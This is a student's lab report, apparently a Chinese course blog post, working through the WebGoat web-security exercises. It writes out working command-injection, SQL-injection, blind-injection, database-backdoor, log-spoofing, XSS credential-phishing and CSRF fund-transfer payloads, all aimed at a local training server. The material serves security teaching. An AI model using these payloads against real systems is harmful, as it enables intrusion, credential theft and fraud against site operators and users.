2019-2020-2 20175327 《网络对抗技术》 Exp9 Web安全基础

一、实验目标及内容

本实践的目标是理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。

二、基础问题回答

1、 SQL注入攻击原理,如何防御
原理:SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令;
防御:

  • 利用正则表达式检查用户输入
  • 对数据库中的内容进行加密处理
  • 关闭或删除不必要的交互式提交表单页面

2、 XSS攻击的原理,如何防御
原理:XSS:跨站脚本。攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本;攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
防御:

  • 永远不相信用户的输入。需要对用户的输入进行处理,只允许合法输入,其他值一律筛掉。
  • 需要往 HTML 标签之间插入不可信数据的时候,首先要做的就是对不可信数据进行 HTML Entity 编码。将html实体转化为相应的实体编号。

3、 CSRF攻击原理,如何防御
原理:CSRF:跨站请求伪造,就是冒名登录,跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中。攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器。
防御

  • 可以别让浏览器记住密码,这样就没有cookie了,也没有可获取的东西;‘
  • 可以在form中包含秘密信息、用户指定的代号作为cookie之外的验证;
  • 添加随机验证。

三、实验步骤

任务一:WebGoat的安装

WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入、访问控制、隐藏字段、Cookie等。

1.WebGoat需要Java SE8的支持。因此可以先在官网 下载jdk-8u251-linux-x64.tar.gz,参考此 链接 内容进行配置,配置后输入java -version可以看是否安装完成。

2.下载webgoat-container-7.0.1-war-exec.jar.下载官网
3.WebGoat默认会使用8080端口,所以我们先用netstat -tupln | grep 8080查看端口是否被占用,如果有进程占用则kill掉.
4.在存放webgoat-container-7.0.1-war-exec.jar的文件夹下输入java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现以下内容则为运行成功。

5.在浏览器中输入http:.//localhost:8080/WebGoat进入登录界面。输入界面下方的用户名和密码进行登录。
6.登录成功会进入如下界面,左侧为课程栏,点击可以看到课题的原理和目标,按要求完成相应练习。

任务二:SQL注入攻击(Injection Flaws)

SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

命令注入(Command Injection)

命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。这种攻击容易扩散,造成更坏的影响。但是对于这类威胁,一点常识和预先预防几乎可以完全阻止。

1.左侧功能栏选中Injection Flaws—>Command Injection,右键点击页面,选择inspect Element审查网页元素对源代码进行修改

2.在复选框中任意一栏的代码,右键单击后,选择Edit As Html进行修改,添加"& netstat -an & ipconfig"

3.点击view,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!

数字型注入:(Numeric SQL Injection)

在station 字段中注入特征字符,能组合成新的SQL 语句。
SELECT * FROM weather_data WHERE station = [station]
这道题的表单允许用户查看天气数据。需通过注入SQL字符串的方式查看所有的天气数据。

1.左侧功能栏选中Injection Flaws—>Numeric SQL Injection。
2.右键点击页面,选择inspect Element审查网页元素对源代码进行修改。
3.在选中的城市编号Value值中添加or 1=1

4.系统执行了SELECT * FROM weather_data WHERE station = 101 or 1=1,显示了所有城市的天气,攻击成功!

日志欺骗(Log Spoofing)

这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。

1.在菜单栏中选择Injection Flaws展开栏中的Log Spoofing
2.利用回车0D%和换行符%0A,在用户名输入框中输入Hy%0d%0aLogin Succeeded for username: admin,密码随便输
3.看到以下提示,收到提示信息,测试成功

字符串注入:String SQL Injection

1.左侧功能栏选中Injection Flaws—>String SQL Injection,未进行攻击前,若输入Smith然后点击Go,就会显示Smith的信息:

2.尝试通过SQL 注入将所有信用卡信息显示出来,输入' or 1=1 --即可完成:

LAB: SQL Injection

目标 使用SQL注入绕过认证
1.输入密码' or 1=1 --登录失败,结果只有部分输入说明密码长度有限制

2.审查网页元素对源代码maxlength进行修改后重新登录成功

Database Backdoors(数据库后门)

1.输入用户ID``101```得到该用户信息,没有验证语句容易进行SQL注入

2.输入用户ID两个语句101; update employee set salary=10000使用;分隔

3.输入用户ID101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid

数字型盲注入:Blind Numeric SQL Injection

某些SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。

1.服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN 数值。尽管如此,我们可以利用系统后台在用的查询语句。查询语句如下:SELECT * FROM user_data WHERE userid=accountNumber;如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。
2.使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。例如下面两个查询方式101 AND 1=1
101 AND 1=2
在第一条语句中,两个条件都成立,所以页面返回帐号有效。

而第二条则返回帐号无效。

3.现在可以针对查询语句的后半部分构造复杂语句。下面的语句可以告诉我们 PIN 数值是否大于10000:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );页面提示帐号无效,说明PIN<=10000 。

4.不断调整数值,可以缩小判断范围,并最终判断出PIN 数值的大小。最终如下语句返回帐号有效:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );

5.在查询框中输入2364 并提交:

字符串型盲注入:Blind String SQL Injection

目标是找到 pins 表中cc_number 字段值为4321432143214321的记录中pin字段的数值。pin字段类型为varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交。

1.本节课程非常类似与上一节。最大的不同是要查询的字段是一个字符串而不是数值。因此我们同样可以通过注入的方式查找到该字段的值。查询语句非常类似上一节,如下:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );

2.经过多次测试(比较0-9A-Za-z 等字符串)和页面的返回数据,判断出第一个字符为“J”。同理继续判断第二个字符。101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'j' );

3.最终,判断出pin字段的值为:Jill。提交改值:

任务三:XSS攻击

XSS 钓鱼:Phishing with XSS

当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。

1.将下面这段代码输入到Search输入框中,点击search,结果会出现代码中所指定的绿、红、蓝三块div,并在下方出现了用于欺骗用户的提示语This feature requires account login:和用户名、密码输入框。

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

2.输入用户名和密码以后点击login按钮提交,可以看到反馈输入的信息:

存储型XSS攻击:Stored XSS Attacks

输入验证是一个很好的方法,尤其是验证那些以后将用做参数的操作系统命令、脚本和数据库查询的输入。尤为重要的是,这些内容将会永久的存放在那里。应当禁止用户创建消息内容。用户的信息被检索时,可能导致其他用户加载一个不良的网页或不良的内容。当一个未经验证的用户的输入作为一个HTTP 响应时,XSS 攻击也可能会发生。在一个反射式XSS 攻击中,攻击者会利用攻击脚本精心制作一个URL 并通过将其发送到其他网站、电子邮件、或其他方式骗取受害者点击它。

1.在title中任意输入字符,留言板中输入

<script>alert("20175327 attack succeed FKN!");</script>

2.点击生成的message,出现提示。

反射型XSS攻击(Reflected XSS Attacks)

我们在访问一个网页的时候,在URL后面加上参数,服务器根据请求的参数值构造不同的HTML返回。value可能出现在返回的HTML(可能是JS,HTML某元素的内容或者属性)中,如果将value改成可以在浏览器中被解释执行的东西,就形成了反射型XSS。别人可能修改这个value值,然后将这个恶意的URL发送给你,当URL地址被打开时,特有的恶意代码参数就会被HTML解析执行。它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。

1.在Enter your three digit access code框中输入代码<script>alert("You've been attacked!!! I'm 5327");</script>
2.点击purse,成功显示警告框,内容为我们script脚本指定的内容:

任务四:CSRF攻击

跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

跨站请求伪造:Cross Site Request Forgery (CSRF)

1.查看页面右侧Parameters中的src和menu值,分别为323和900

2.在title中输入任何参数,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=323&menu=900&transferFunds=5000" width="1" height="1" />

3.以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交

  • 这里src值、menu值要根据上一步查看的结果修改,转账数额随便输入,eg:5000
  • 宽高设置成1像素的目的是隐藏该图片
    4.提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

绕过 CSRF 确认:CSRF Prompt By‐Pass

跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。

1.同上一个攻击,查看页面下侧Parameters中的src和menu值(326和900),并在title框中输入学号,message框中输入代码:

<iframe src="attack?Screen=326&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=326&menu=900&transferFunds=CONFIRM"> </iframe>

2.点击Message List中生成以Title命名的链接,攻击成功!

四、实验体会

通过本次实验学习了使用WebGoat工具进行SQL注入攻击、XSS攻击、CSRF攻击,主要攻击方法便是利用语句漏洞。这是最后一次实验,在实验过程中也没有遇到什么大的问题,能完成本课程的实验部分还是离不开老师的细心教导,传授的学习方法,让我受益匪浅。

posted @ 2020-05-24 17:49  20175327Fkn  阅读(196)  评论(0编辑  收藏  举报